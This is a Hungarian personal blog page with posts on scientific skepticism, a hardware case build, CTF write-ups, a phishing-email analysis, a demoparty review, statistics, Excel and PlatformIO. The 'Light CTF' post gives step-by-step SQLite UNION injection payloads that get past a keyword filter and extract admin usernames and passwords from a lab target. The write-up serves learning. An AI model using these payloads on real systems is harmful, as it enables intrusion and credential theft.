HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • Travis.CG: @hagymi: Úgy emlékszem nem működött, mert dátum volt a cella típusa, nem string. (2026.03.31. 12:20) Excel, mint büntetés
  • Travis.CG: Frissítés: Az operáció nem teljesen sikerült. A képernyő bizonyos időnként elsötétül, csak a hátté... (2026.01.11. 11:30) Iphone képernyő és aksi csere
  • Travis.CG: @webhauser: Én nem vagyok jó programozó. Nem vennéd sok hasznomat. (2025.09.18. 10:26) T0ad 2025
  • Travis.CG: Annyiban én is hibás vagyok, hogy könnyen előjönnek belőlem negatív posztok, ezt akartam ellensúly... (2025.05.22. 19:34) Ne csak a rosszat halljátok
  • sdani: Oh... néha eszembe jut, hogy az EBI után esetleg vissza kellene menni valamennyire az akadémiai vo... (2025.03.18. 16:58) Pontos, jól behatárolt célok

Néhány gondolat a kritikus szemléletmódról

2026.05.24. 14:25 Travis.CG

Mai, felgyorsult világunkban azt veszem észre, hogy a gyorsétkezdék mintájára megjelentek a gyorsinfók is. Ahogy az étkezés világában megjelent a junkfood, úgy szerintem nyugodtan beszélhetünk a junkinfo-ról is. Ezek a könnyen, egy mondatba összefoglalt igazságok pont annyira nem tesznek jót a gondolkodásnak, ahogy az egészségünknek sem jó, ha kizárólag papírdobozos kaját eszünk, miközben sietünk valahova.

Könnyű lenne ezt is a nagy nyelvi modellekre kenni, ahogy tesszük ezt mindennel kapcsolatban mostanában, de a probléma korábban kezdődött, legalábbis a nyomait korábban is tapasztaltam. Ebben a posztban összegyűjttem néhány példát, ami megpróbál rávilágítani arra, hogy a kritikus gondolkodás nem csak a hétköznapokban, de még a tudományos életben sem magától értetődő. 

Műanyagot zabáló élőlények

Volt egy befulladt projekt, aminek a célja olyan baktériumok azonosítása/kitenyésztése, amelyek megélnek a műanyagon. Nem kell ecsetelnem, hogy műanyagok, mint szennyező elemek mekkora problémát jelentenek. A tipikus emberi megoldás: jöjjön valami, és egye meg, csak ne kelljen vele vesződni. (Képtelen vagyok megállni, hogy meg ne említsem a 80-as évek egyik nagy hoaxát, az Olajfalókat. A szennyezést ez a kis lény a film szerint felzabálta.)

A szakirodalom átnézése után kiderült, hogy annyi baktérium eszik műanyagot, hogy a kínaiak már külön adatbázist hoztak létre, hogy ezt a rengeteg tudást böngészni lehessen. Ebben a pillanatban úgy látszott a projekt nyitott kapuka dönget. El is kezdtük böngészni az adatbázist. És itt kezdődtek a gondok.

Előre leszögezem, hogy nem néztem át a teljes adatbázist, csupán egy baktérium törzsel kerestünk, mert a csoport azzal a törzsel rendelkezik átfogó ismeretekkel. Ahogy nézegettem az adatbázist, elkezdett motoszkálni a fejemben egy gondolat: Műanyag zabáló baktérium márpedig nincs. Olyan baktérium, ami termel valami vegyületet, ami akár még a műanyagot is bonthatja, olyan lehet, de olyan, ami megeszi, és nem kér mást enni vacsira, olyan szerintem nincs.

A cikkek legtöbbje Indiából, Iránból, Kenyából, és persze Kínából származik. Habár ezekben az országokban is folyik remek kutatás, furcsa, hogy egyetlen nyugati országból sincs hasonló vizsgálat. (Talán azért, mert a fejlett országok a szemetüket ide szállítják?)

Az egyik random kiválasztott cikk például alig talált szignifikáns különbséget a baktériumok által megcsócsált műanyag és a kontroll között. Értem én, hogy a cikkben a 0,043-as p-érték kisebb, mint 0.05, de azért ez nem egy erős bizonyíték.

Egy másik cikk, épp ellenkezőleg, mindenhol műanyag bontó baktériumokat talált. Egyszerűen az összes általuk izolált baktérium bontotta a műanyagot! Én ezt nem is értem. Ha minden megeszi a műanyagot, hogyhogy nem esik szét a billentyűzet az asztalomon? Magyarországon nem működnek? Elképzelhető, hogy Tanzániában nem érdemes kefírt venni, mert mire hazaérsz, a baktériumok szétrágják a poharat.

Mikrobiom, mint korbecslés

Ezt az előadást a tavalyi bioinformatika konferencián láttam. Az életkort a mikrobiom alapján akarták becsülni. Az előadás során egy csomó vízszinte korrelációs egyenest láttam. Szerencsétlen PhD hallgató mindezt azzal magyarázta, hogy az adatok "zajosak". Én a hallgatóság soraiban azzal magyaráztam a látottakat, hogy nincs korreláció. Cikk azóta sem készült belőle, vagy csak nem találtam. A mikrobiom nagyon divatos téma, és biztos vagyok benne, hogy az életünk számos területével kapcsolatban áll az összetételük, de mindennel biztosan nem. Úgy látszik, az életkor nem ilyen.

Baktériumok a rákos sejtekben

Ebből a hülyeségből teljesen kimaradtam, ezért nagyon meglepődtem, amikor egy folyosói beszélgetés során az egyik kollégám arról próbált meggyőzni, hogy a tumor nem más, mint sejten belüli baktériumok gerillatevékenysége. A hitetlenkedésemre azt mondta, hogy a cikk a Nature-ben jelent meg. Nos, az újság reputációja egyáltalán nem bizonyíték. Ha mást nem, a Covid ezt bebizonyította. Kérdeztem tőle, miért maradna egy baktérium a sejt belsejében? Miért nem csinál semmit az immun rendszer?

Elkeztem utána járni a dolognak, de nem találtam az említett cikket. Mint kiderült, azért nem, mert visszavonták. Ezen kívül is jelentek meg cikkek a témában, én viszont továbbra is szkeptikus vagyok, egyszerűen azért, mert az egér kísérletek, amelyek kiértékelésében részt vettem, nem baktérium fertőzéssel indukálták a tumort, hanem DNS mutációkkal.

Végszó

Nem állítóm, hogy a fenti konklúzióim mind igazak. Elképzelhető, hogy fognak megjelenni olyan publikációk, ami alapján felül fogom vizsgálni az álláspontomat. Jelen pillanatban azt gondolom, hogy nagyon óvatosan kell kezelni, amit olvasunk. Jó lenne megbízni minden tudományos eredményben, de ehhez az is kellene, hogy cikkek szerzői is kritkusan álljanak a saját munkájukhoz.

Szólj hozzá!

Címkék: filozofálás

A Szörnygép (3. rész)

2026.05.17. 19:02 Travis.CG

Elkezdtem készíteni a Szörnygép házát. Sokat gondolkodtam, milyen anyagból, milyen megmunkálással dolgozzak, és végül úgy döntöttem, lemezből fogom elkészíteni. Racionális oka nem volt, csak szerettem volna kipróbálni az új gyémántvágót.

Először is, szükségem volt egy lemezre. A választás egy régi számítógép házra esett, aminek a burkolatát a lehetőségeimhez mérten egyenesre kalapáltam. A tervem az volt, hogy a Szörnygép háza két részből fog állni. Az alsó rész egy felül nyitott doboz lesz, az oldalfalakat hajlítani fogom. Erre fog jönni egy lapos tető, ami tartalmazza majd a billentyűzetet. Bár még ez is képlékeny, olyan is eszembe jutott, hogy a tető egy hűtőventillátort fog tartalmazni, mert úgy tapasztaltam, akkor nem fagy az USB.

Második lépésként sablont készítettem egy papírra, és arra mértem fel a doboz méreteit. Megpróbáltam kimérni az összes csatlakozónak a rést, kigondolni, hol lesznek a fülek, amire csavarozom majd a billentyűzetet.

u64case.jpg

A papírt ezután a lemezre ragasztottam, és megkezdődött a méretre vágás. Bevallom, nem számítottam rá, hogy ez ennyire lassú folyamat lesz. Bár a lemez csak 1 mm vastag volt, több hónapon keresztül értem el a végső formát. Bevallom, azt hittem a gyémántvágó úgy fogja vágni, mint a vajat. Csak akkor mertem nekilátni, ha a családom nem volt otthon, mert iszonyú hangos volt a gép. Többször gondoltam rá, hogy egyszerűen kidobom, nem érdekel, meddig jutottam, mert ez a módszer nem elég célravezető.

Végül győzött a türelem, és csak kivágtam. Nagyon örültem, hogy befejeztem ezt a részét. A vágás elég pontatlan lett, amit csiszolással igyekeztem orvosolni. Ez is elég hosszú idő volt, de már kevésbé frusztráló, mert láttam a haladást.

Továbbra is maradtak éles részek, de ez passzol a Szörnygép imázsához: vad, kiszámíthatatlan, durva. Ha nem vigyázol vele, vérezni fog az ujjad!

A tető rögzítéséhez csavarokat akartam használni, ezért anyacsavarokat forrasztottam a fülekre. Először a forrasztás sem sikerült, mire rájöttem, hogy a lemez festése az akadály. Úgyhogy lecsiszoltam a festéket is.

u64case2.jpg

Az anyacsavarok forrasztása után elkezdtem összehajtani a dobozt. Természetesen megfelelő szerszámok nélkül. A tervezési fázisban nem gondoltam, hogy ilyen nehezen hajlítható a lemez. A végén természetesen kiderült, hogy a mérések során nem vettem figyelembe a hajlítási rádiuszokat, úgyhogy az alaplap nagyon szűken fér csak el a házban. Annyira ki van centizve minden, hogy távtartóknak sem maradt.

Az utolsó lépés a festés volt. Ez volt a legegyszerűbb. Gyurmával befedtem a meneteket, nehogy a festék eltömítse azokat. Néhol kicsit sokat fújtam a felületre. Ebből is látszik, gyerekkoromban kimaradtak a falfirkás évek.

Mivel nem volt hely a távtartóknak, meg kellett oldani, hogy az alaplap forrasztásai ne érhessenek a házhoz. Eredetileg dekorgumit akartam használni szigetelőnek, csak sajnos a lányom elhasználta az összeset. A kacatok között turkálva találtam parafa lemezeket. Gondoltam, ez jó lesz!

Korábban szétszedtem egy működésképtelen billentyűzetet, amiből eltettem a gumi lábakat, mert olyan jól néztek ki. Most elővettem, és a ház aljára ragasztottam az összeset.

Elkészült! És megvágta az ujjam.

Szólj hozzá!

Címkék: barkácsolás

Letter CTF

2026.05.06. 19:48 Travis.CG

A mostani CTF egy kicsit más, mint az eddigiek, amikről írtam. Ez egy OSINT feladat, vagyis nyílt forrásokból kell információkat keresni. A feladat során két képet, és egy rövid szöveges üzenetet kapunk. A játék szerint találtunk egy sérült levelet, ahol a címzett, és a levél egy része is olvashatatlan. Nekünk ki kell találni, kiről szól a levél, és mi az irányítószám.

A boríték így néz ki:

letter.png

Egyérelmű, hogy francia eredetű. Az SNSM a parti őrség rövidítése, a címzett vezetékneve G-vel kezdődik. Mivel a levél többi része sérült, ezért a jobb alsó sarokban látható barcode-ot kezdtem vizsgálni. Megtudtam, hogy többféle postai rendszer van, ezek különböző jelöléseket használnak. Szerencsére van egy online dekódoló is.

A levél szövege szerint a címzett dédapja egy hőstettet hajtott végre nagyon fiatalon, és biztos büszke lenne a dédunokájára, aki szintén hajón szolgál. A szöveg természetesen franciául van, úgyhogy a fordítóprogramot sűrűn használtam.

newspaper_clipping.png

Az újság is elég olvashatatlan, de egy kis kereséssel rá lehet akadni az összes számra a Gallica-n. A különböző kulcsszavak segítségével viszonylag le lehet szűkíteni a lapok számát. Én az Amundsen-t használtam, mert ő utazott az Északi Sarkra, a Maroc, Herriot és urgente szavakat használtam még. Az újság OCR átiratát le lehet tölteni, és egy fordítóval lefordítani. Ekkor derül ki, hogy az egyik cikk arról a városról szól, ahová a levelet küldték. Sajnos a Gallica nagyon lassú, több órán keresztül ment a keresés. A helyzetet az sem könnyítette, hogy a lányom kapcsolgatta a router-t, mert nem ment neki valami játék.

Az újságcikk szerint történt egy hatalmas hajós katasztrófa, ahol még a mentőhajó is felborult. Végül két halászhajó mentette ki az embereket. A cikk csupán a kapitány nevét említi, ezért tovább kell keresni a katasztrófa részleteit. Hol a kapitány, hol a hajók nevével keresgéltem, így akadtam erre az oldalra. Itt leírták az összes ember nevét, akik a mentésben részt vettek. Itt kellett megtalálni a kis hajósinas nevét, aki még kiskorú volt a mentés idején.

Nagyon jó kis OSINT feladat volt, egy kimondottan érdekes háttértörténettel. Mikor a feleségemnek meséltem, milyen feladatot kell megoldani, még ő is nekiállt keresgélni, pedig nem is szereti a "kiber dolgokat".

Szólj hozzá!

Címkék: biztonság

De hát elmúlt Húsvét!

2026.05.01. 20:18 Travis.CG

Egyik bejegyzésemben arról panaszkodtam, hogy nem látni szofisztikált jelszólopó módszereket, mindegyikről messziről virít, hogy átverés. Ahogy mondani szokás: vigyázz, mit kívánsz, mert teljesül. Nekem most teljesült egy kívánságom, kaptam egy egész jó adathalász levelet. Boncolgassuk is!

A levél egy létező e-mail címről jött, nem kamuról. A fejléc szerint valami cikket kellett volna átnéznem. Még ez is hihető volt. Az már kevésbé tűnt realisztikusnak, hogy egy magyar egyetem, magyar dolgozója angol nyelven ír nekem, ebből tudtam, hogy biztosan átverés. A másik hiba, amit elkövettek, hogy a levél törzsében már nem cikkről volt szó, hanem számláról.

A mellékletben volt egy PDF. Először attól tartottam, hogy a PDF JavaScript-et tartalmaz, ezért nem nyitottam meg, hanem a pdfinfo nevű programmal ellenőriztem.

pdfinfo.png

Mint látható, nincs benne sem JavaScript, sem titkosított rész. Ettől függetlenül nem mertem megnyitni a gépemen, hanem egy virtuális gépben tettem. Csak egy oldal volt, egy linkkel.

thepdf.png

Mivel a link egy dokumentumban szerepelt, a spam filteren átment. A link egy google forms-ra vezetett, ami szénné volt JavaScriptezve, esélyem sem volt megtudni, mit is kódolnak, úgyhogy a virtuális gépen megnyitottam. A google forms azért volt jó ötlet, mert nehéz kiszűrni az IT-nak. Mégsem tilthatják ki a guglit az egyetemről, nem?

gforms.png

De ezen kívül volt még egy réteg, mert ez az oldal csak arról akart meggyőzni, hogy le kell töltenem egy újabb dokumentumot.

A link egy másik oldalra vezetett, ahol a létező legtökéletesebb Microsoft Online bejelentkezést kaptam, ami csak létezik. Szinte hihetetlennek tűnt, hogy ilyen tökéletesen le tudták másolni. Még az oldal betöltését mutató animáció is hibátlan volt. Mint később ti is látni fogjátok, ez egy valódi Microsoft-os bejelentkező képernyő, nem utánzat.

Ez úgy derült ki számomra, hogy első blikkre meg akartam nézni az oldal forráskódját, és nem sikerült! Rutinból a billentyű kombinációt nyomtam meg, ami le volt tiltva, jobb egérgomb szintén. Ez már jelezte, hogy nem csak simán betölti a bejelentkező képernyőt, hanem valami mást is csinál, és ez a másik funkció rejtőzködik.

A böngésző menüjét viszont nem tudták blokkolni, így azon keresztül megláttam a forráskódot is.

jscode.png

A JavaScript figyelte, hogy esetleg Burp Suit-ot használok-e, és ha igen, akkor nem jeleníti meg az oldalt. Figyeli, milyen billentyűket nyomok le, és elküldi azt a támadóknak. Mindebből a felhasználó nem vesz észre semmit. Tényleg nagyon gyönyörű munka. Szokatlan volt, hogy nem obfuszkálták teljesen a kódot. Általában a támadók teljesen olvashatatlanná teszik a kódot, hogy ezzel is nehezítsék a felderítést.

Azért némi rejtegetés itt is volt. Egy viszonylag bonyolult módszerrel ellenőrizték, hogy honnan nyitották meg az oldalt. A reguláris kifejezést, amivel az ellenőrzést végezték, Base64-el kódolták, a dekódoló függvény nevét pedig elrejtették. Elképzelni sem tudom, mi szükség volt erre, miközben a letölthető JavaScript modulok URL-je szabadon olvasható. Az egész kód olyan, mintha valaki gyakorló feladatát látnám.

Szólj hozzá!

Címkék: biztonság

Light CTF

2026.04.19. 17:26 Travis.CG

A gépen két port volt nyitva, a 22-es és a 1337. Utóbbi egy telnet port, de ezt a leírásból is tudjuk. Ha csatlakozunk hozzá, egy kérdést kapunk csak:

Please enter your username:

A leírásban azt is megkapjuk, hogy a smokey nevű felhasználóval tesztelhetünk. Ha beírjuk, visszakapjuk a jelszót. Sajnos ezzel a jelszóval nem tudunk bejelentkezni. De az első kérdés úgyis az admin felhasználó név. Először írtam egy Python scriptet, hogy gyakori felhasználó neveket próbálgasson végig, de nem működött. Ezek szerint célravezetőbb a "többet ésszel, mint brute force-al" hozzáállás.

Azért poénból megnéztem, hogy kapok-e találatot a "bandit" vagy Burt Reynolds nevére. Nem kaptam.

Akkor valami injection-t kell használni. Először pontosvesszőt raktam a felhasználói névbe, de arra nem adott semmit. Utána "-t, de erre sem reagált. Egyszeres idézőjelre viszont kaptam hibaüzenetet!

Error: unrecognized token: "'ize'' LIMIT 30"

Limit 30? Csak nem SQL lekérdezést kell írni? Az "unrecognized token" viszont szokatlan. MySQL biztos nem ad ilyen hibaüzenetet. A kereső szerint SQLite adatbázissal van dolgunk. Oké, ez már ismerős terep. Ha kommentet akartam beírni, akkor is kaptam egy hibaüzenetet:

For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)

Oké, közeledünk. Mi a helyzet egy select-el?

Ahh there is a word in there I don't like :(

Ez nem jó hír. Mi van, ha egy kicsit megváltoztatjuk azt a selectet. Mondjuk Select-re? Erre már nem adott hibaüzenetet. Lássuk mi van az adatbázisban!

' Union Select name from sqlite_master where type='table

A válasz: admintable! Oké, mi van az admintable-ben?

' Union Select sql from sqlite_master where name='admintable

CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)

Ez már könnyű innen. 

' Union Select username from admintable where id = '1

Erre megkapjuk az admin felhasználó nevét. Egy ilyen CTF esetén kifizetődő a kíváncsiság. Kíváncsi voltam, mi van, ha 2-t írok be a lekérdezésbe. Erre azt írta ki, hogy flag! Tehát a válaszokat akkor kapjuk meg, ha a következő módszerrel próbálkozunk:

' Union Select password from admintable where id = '1

illetve

' Union Select password from admintable where id = '2

Nagyon jó kis SQL Injection CTF volt! Ez most így olvasva egyszerűnek tűnik, de én SqlLite-ban a .table-t szoktam használni, hogy megtudjam a táblák nevét, a lekérdezésekre úgy kerestem rá. Sokszor lefagyasztottam a lekérdezést, mert beírtam a jó öreg or 1 = 1-t, ami itt nem működött. Az idézőjel sem volt egyértelmű, próbálgattam a "-t is, amíg rá nem jöttem a pontos szintaxisra. A select sql-re meg teljesen véletlenül akadtam rá az oszlopnevek lekérdezését keresve.

Szólj hozzá!

Címkék: biztonság

Cseppet sem objektíven: Revision 2026

2026.04.12. 14:36 Travis.CG

Ha itthon maradok Húsvétra, Revision-re vágyom, ha elmegyek, az itthoni dolgokon agyalok. Úgy gondolom, jobb lett volna elmenni (ebből tudhatjátok, hogy maradtam.). Fenébe a stream-el! Elmentünk a szokásos családlátogatásra, ahol apósom ilyet szólt, "lassan vége ennek a demózásnak". Nem hiszem, hogy értené, mit jelent: "demo or die". A streamet nem tudtam folyamatosan követni, mert a legkisebb gyerekkel zombikra kellett lövöldözni, vagy akkora hangzavar volt, hogy nem hallottam semmit. Azért amit tudtam, követtem, amit nem sikerült megnézni, azt utólag pótoltam.

Tracker music

Az All In Days Work tetszett a legjobban Curt Cool-tól.

Ascii Art

Két kedvencem volt a compóról, a Public Domain, ami régi filmek publikussá tételét ünnepelte. A képek alapján nem tűnt ismerősnek egyetlen film sem, de érdemes lenne utána nézni. A másik a Greetings, Earthlings volt, mert olyan színes volt. Több alkotás is a Moebius-al készült.

Oldskool music

A legszokatlanabb újítás, hogy idén 2M volt a limit. Ez a legtöbb régi hardver limitációját ismerve olyan, mintha egy autóversenyen megtiltanák, hogy átlépjék az első kozmikus sebességet. A Catalysis nagyon furcsa volt, meg kellett hallgatnom még egyszer, hogy el tudjam dönteni, hogy a glitch effekt valódi, vagy csak a stream szórakozott. A Related Searches jól indult, de hosszú lett. Glacial Heart volt a kedvenc.

3D graphics

A Till Death Do Us Part egy nagyon kidolgozott modell volt, nem volt olyan rajzfilm-szerű, mint a többi.

Animation/Video

Nosfe kétszer is beadta ugyan azt. Az első verzió fekete-fehér, a második színes volt. Most nem tetszett egyetlen videó sem, bár az amKLga-án kicsit nevettem. A győztes alkotást pedig nem értettem, még második megtekintés után sem.

3D printing

Szponzis compó. Egy olyan CoolerMaster házra kellett bigyókat nyomtatni, amit úgy terveztek, hogy bigyókat lehessen rá nyomtatni. A leghasznosabb egy külső drive volt, a legcoolabb pedig Topy 32x32-es led panelje.

Fast music

Maximum 30 másodperces lehetett egy zene, és nem akarok hazudni, de fájdalmas volt hallgatni a legtöbbet. Turbo Knight persze jó volt még ebben a kategóriában is, de fél perc alatt milyen zenét lehet élvezni?

Streaming music

Ha már a zenénél tartunk, akkor ezt érdemes hallgatni. Bár most nekem nem volt kedvencem a kompóról, szerintem nem voltak rosszak az indulók.

Executable music

Ez egy kicsit más tészta, mint a streaming, mert a zenét programkódból kell előállítani, méghozzá elég kicsi programokból. Tenfour száma nyert, ami nem is meglepő. Hallgassátok meg a gazdag hangszerelést, változatos dinamikát itt. Tetszik? Csak 32k ami mindezt előállítja.

4K executable graphics

A Trans Solidarity meglepő technikát alkalmazott, kis emberkékből állt össze a kép. Boyc is indult az Entangled című alkotással, ami szerintem kimagaslott a mezőnyből. Bár a Lost Media sem volt rossz, én előbbit tettem volna győztesnek.

Oldskool graphics

Három kedvencem volt a kompóról. A don't spit into the wind, az Arrival on Valthoria és a fiú a vizidisznójával. Ez utóbbit AI gyanúsnak bélyegezték páran, én meg nem vagyok azon a szinten, hogy ezt el tudjam dönteni.

Oldskool demo

Alig volt C64 induló, ami meglepett, és akik indultak, azok sem erőltették meg magukat. Cserébe kaptunk C16, Amstrad, PC és egy Atari 2600-as demót. Ez utóbbi nagyon komoly alkotás. Aki nem érti, miért, annak javaslom, nézze meg, milyen játékok jelentek meg a géptípusra. Konkrétan annak idején egyszínű téglalapokból álltak a karakterek!

Amiga intro

Két kedvencem is volt, az egyik a Back to Pixelated World, ami vektor grafikaként indult, majd egy platform játékba ment át, végül a címmel ellentétben visszaváltott vektor grafikába. Ennek ellenére nekem tetszett. A másik kedvenc a 64k-Silhouette volt. Ez sokkal konzisztensebb volt az előbbinél, remek kód és kiváló látvány jellemzi.

Amiga demo

Az idei Amigás demók érzésre visszafogottabbak voltak, mint korábban. A Second Nature erőlködés nélkül tudott nyerni. Szó se róla, hangulatos demó, többször is meg lehet nézni. Nekem különben a High Score is tetszett, de szinte biztos vagyok benne, hogy egy sarokba szorított veterán Amigás intróba lekódolja.

64k intro

Emberek, mi a fene történik a nagyvilágban!? Mi ez, hogy ennyi 64k intró van? Tizenhárom induló? Ha hihetünk a Pouet.net-nek, akkor 2024-ben és 2025-ben összesen 16 intró készült Windows-ra. Előző két évben 12! Mit képzelnek ezek az emberek, hogy így összezavarják a trendeket és a statisztikát! (Oké, az összehasonlíthatóság kedvéért meg kell jegyezni, hogy a compóban csak 9 Windows-os induló volt). Komolyra fordítva a szót, nagyon jó volt ennyi 64k-t látni. Nézzétek meg ti is az összeset.

PC Demo

Ha az idei demó termés nem is volt olyan bő, mint 2023-ban, azért nem lehet panasz az indulók számára. A győztes Razor1911 nem semmi alkotást tett le az asztalra. Kicsit a nosztalgia hullámra építettek a demót, de a jó értelemben. A csapat 40 éve aktív, amit leírni is döbbenet, és ők sokáig crackerként is működtek, még a 2000-es években is. Habár a tagok cserélődtek az idők során (sőt, sokan el is hunytak mára), a csapat szellemisége óriási időt ölel át. A demó vizualitása nagyon sok apró részlettel mutatja be ezt. Nem csak a crackeléshez használt debuggerek felhasználói felületén keresztül, de egy-egy híresebb grafikával is. A jelenetek organikusan egymásba folynak, mint egy nagy folyam. Ha apósomnak, vagy bárki másnak el akarnám magyarázni, mit jelent a "demo or die", akkor ezen a demón keresztül tenném. Architektúrák jönnek-mennek, a programozás metodikája változik, de az nem, hogy vannak emberek, akik leülnek, és release-eket készítenek. A módszer változik, az alkotás marad.

Szólj hozzá!

Címkék: demoscene

Kompozíciónális adatelemzés a mikrobiológiában

2026.04.03. 08:01 Travis.CG

A Mátrixban van egy jelenet, hogy Neo az utcát nézi, miután megvilágosodott:

Valahogy én is így éreztem magam, miután rájöttem, hogy totál rosszul értelmeztem eddig a metagenomikai szekvenálásokat. Ugyanis valami miatt úgy gondoltam, hogy ez a fajta szekvenálás egy random mintavétel a környezetből, tehát az ott tapasztalható arányok megfeleltethetőek a környezetben előforduló baktérium közösségek arányának. Persze, tudtam, hogy vannak taxonok, amik kimaradnak a detektálásból, és tudtam, hogy a módszerben lehetnek torzítások, ami miatt bizonyos taxonok felülreprezentáltak lesznek, ezeket elhanyagolhatónak véltem. Sőt, úgy gondoltam, az eredményként kapott táblázatokból nyugodtan szűrhetek, minden féle transzformáció nélkül, mert a kapott adat rekordok egymástól függetlenek.

Nagyon rosszul tudtam.

Ha egy mintavétel felülről korlátos (márpedig a szekvenálás ilyen, a készülék áteresztő képessége véges), akkor a kapott eredmény úgynevezett kompozíciónális adat. Ez azt jelenti, hogy az adott mennyiség, amit kapunk, nem releváns, csak az arányok. Ha egy hasonlattal kéne élnem, akkor azt mondanám, a kompozícionális adat olyan, mintha nylon zacskókat kellene dobozba rakni. Hiába nyomjuk össze a zacskókat, azok elkezdik visszanyerni eredeti alakjukat, ha megszűnik az erőhatás. Ha csak kettő zacsit teszel a dobozba, az a kettő fogja kitölteni azt. Ha tizet, akkor tíz zacskó tölti ki az egész teret. Nem számít, hogy kisebb, vagy nagyobb dobozt használunk, mert a zacskók akkor is kitöltik a rendelkezésre álló helyet.

Talán ebből a hasonlatból is látható, hogy nem lehet önkényesen zacskókat kivenni, mert a többi zacskó egymáshoz viszonyított aránya megváltozik. Éppen ezért, ha egy adat nulla, akkor az nem feltétlenül jelenti, hogy az adat nincs jelen, csupán azt, hogy a többi komponenshez képest elenyésző az aránya. De ennek eldöntése szinte lehetetlen. (A másik, inkább matematikai probléma, hogy nulla méretű zacskókból akár végtelen mennyiségűt is belerakhatunk, amitől meg fogunk bolondulni, ha értelmezni akarjuk.)

Éppen ezért az olyan technikák sem működnek, hogy "egymillió readre normalizálok, és csókolom". Csupán annyit tettem, hogy egy nagyobb dobozba raktam az adatokat, de a köztük lévő relációt nem oldottam fel. Hasonló okokból kifolyólag a kedves kis korrelációk, lineáris modellek és más statisztikai eljárások sem alkalmazhatóak. Legalábbis közvetlenül nem. (Pedig el nem tudom mondani, mennyi korrelációt számoltam ilyen adatokon...)

Az RNS-seq adatok is kompozícionális adatok. Miért nem lehet őket a mikrobiológiában használni? Azért, mert az RNS-seq esetén abból indulunk ki, hogy a kezelés hatására nem változik jelentősen a rendszer (nevezetesen az élő sejt, amit vizsgálunk). Ha nagyon megváltozna, akkor a sejt meghalna, és már nem tudnánk vizsgálni. A bakteriális közösségekre nézve nem élhetünk ilyen megkötésekkel. Csak egy otthoni példára gondolva, ha végiglocsolom fertőtlenítővel a padlót, akkor az azonosítható taxonok aránya drasztikusan meg fog változni.

A geostatisztikában már évek óta bevett gyakorlat a kompozícionális adatok használata, mert a kőzetek összetételét százalékosan adják meg. Valahogy nekem ez a rész kimaradt. Szóval vissza a suliba! Meg kell értenem pontosan ennek a módszernek a lényegét. Jelenleg a következő irodalmakat bújom:

https://pubmed.ncbi.nlm.nih.gov/29187837/
https://pubmed.ncbi.nlm.nih.gov/35830875/
https://link.springer.com/book/10.1007/978-3-319-96422-5

Szólj hozzá!

Címkék: statisztika bioinformatika

Excel, mint büntetés

2026.03.22. 11:41 Travis.CG

A helyzet az, hogy egyre többet kell dolgoznom Excellel, és még ennyi év után is meg tudok lepődni azon, hogy mennyire béna ez a program. Én nem vagyok egy kényes felhasználó, boldogulok Gimp-el, Blendert is már a korai verzióktól használok. Amikor kritikával illetik ezen programok felhasználói felületét, akkor igazat kell adnom nekik. Borzalmasak. Viszont a frusztráló felület mögött van egy olyan logika, amit megismerve az ember boldogul velük.

Az Excelben a logikát hiányolom.

Első példa: egy takarosan beformázott Excel cellából el kellett távolítani a linket. Mármint a linket, mint tulajdonságot. Én naívan jobb egérgombbal klikkeltem, majd a link eltávolítása menüpontra. Tényleg eltűnt a link. Az összes formázással együtt. Azok miért tűntek el? Végül a net segítségével sikerült megoldani a dolgot, mert más felhasználónak is pont ugyan ez volt a gondja. Kiderült, hogy van a menük között is egy link eltávolítása, ami csak nevében ugyan az, mint a jobb egérgombos funkció.

A második példa megoldása sokkal nehezebb volt. Egy hétköznapi adattisztítás volt, ahol a dátumok 90%-a kötőjellel volt elválasztva, 10% ponttal. Nagy volt a kísértés, hogy exportáljak, és sed-el oldjam meg a feladatot, de én úgy gondoltam, ha már úgyis ezzel a programmal kell szenvednem, talán érdemes jobban megismernem. A cellaformázással szenvedtem fél órát, majd úgy döntöttem, az időm többet ér. Mentem parancssor alá.

Otthon elmeséltem gyötrelmeimet, mire a feleségem kinevetett, hogy ennyi informatikai ismerettel képtelen voltam megoldani ezt az egyszerű problémát. Meg akarta mutatni, hogy milyen egyszerű. Először 10 percig néztem a próbálkozásait. Utána azt néztem, ahogy az AI segítségével próbálja megoldani. Itt, bevallom elvesztettem a fonalat, mert egy ponton a magyar Windows-on futó angol Excelnek angol területi beállításokkal kellett volna idézőjelet beírni, amit a feleségem a Word segítségével állított elő. Ez sem működött, úgyhogy én elmentem TryHackMe-zni. Megcsináltam a napi feladataimat, utána kíváncsiságból megnéztem, ő hol tart: a laptop képernyőjén plusz oszlopok voltak, nyitva volt a függvény bevitel, a böngésző három füllel. Elmentem vacsorát adni a gyereknek. Végül felhangzott a feleségem diadalmas kiáltása. Megcsinálta!

Nem kellett más, csak egy függvény, amivel a cellákat szöveggé alakította, cellaformázás szöveggé, mert a függvény bizonyos cellákat nem szeretett, majd keresés, csere, mindent cserélni, és kész volt. Megdícsértem a heroikus küzdelméért, majd magamban annyit mondtam: sed rulez.

2 komment

Címkék: életmód

PlatformIO, sallangok nélkül

2026.03.15. 10:25 Travis.CG

Elérkezett az idő, hogy az okosóra kapjon egy szebb firmware-t, mint amit ráraktam. A legfejlettebb firmware telepítéséhez kell a PlatformIO, VS Code, meg minden. Nem vagyok a VS Code ellensége, de nem érzem semmi szükségét, hogy telepítsem, ha csak ki akarok próbálni valamit.

A PlatformIO telepítése elég egyszerű:

wget -O get-platformio.py https://raw.githubusercontent.com/platformio/platformio-core-installer/master/get-platformio.py
python3 get-platformio.py

A home könyvtárban találunk majd egy .platformio könyvtárat, azon bellül a penv/bin könyvtárban lesznek a futtatható állományok. Nekünk ezek közül a pio lesz az érdekes. Ha akarjuk, betehetjük a PATH-ba, hogy bárhol elérhessük. Én nem vesződtem ilyen apróságokkal.

Ezután letöltjük a firmware-t egy nekünk kedves könyvtárba:

git clone https://github.com/sharandac/My-TTGO-Watch

A firmware több eszközön is fut, nekünk be kell állítani azt, amire fordítani akarjuk. Ehhez szerkeszteni kell az src/config.h fájlt. Mivel nekem még a régi típus van meg, ezért én a következő sort szúrtam be rögtön a 24. sorba:

#define LILYGO_WATCH_2020_V1

És jöhet a fordítás.

~/.platformio/penv/bin/pio run

Amilyen kicsi az eszköz, olyan sokáig tart lefordítani a kódot. A program leszedi a teljes toolchain-t, ami a kód előállításához kell. A szükséges információkat a platformio.ini fájlból szedi. Persze mi az eszközön szeretnénk látni a végeredményt. Kössük rá az órát az számítógépre. Ellenőrizhetjük, hogy a rendszer látja-e:

~/.platformio/penv/bin/pio device list

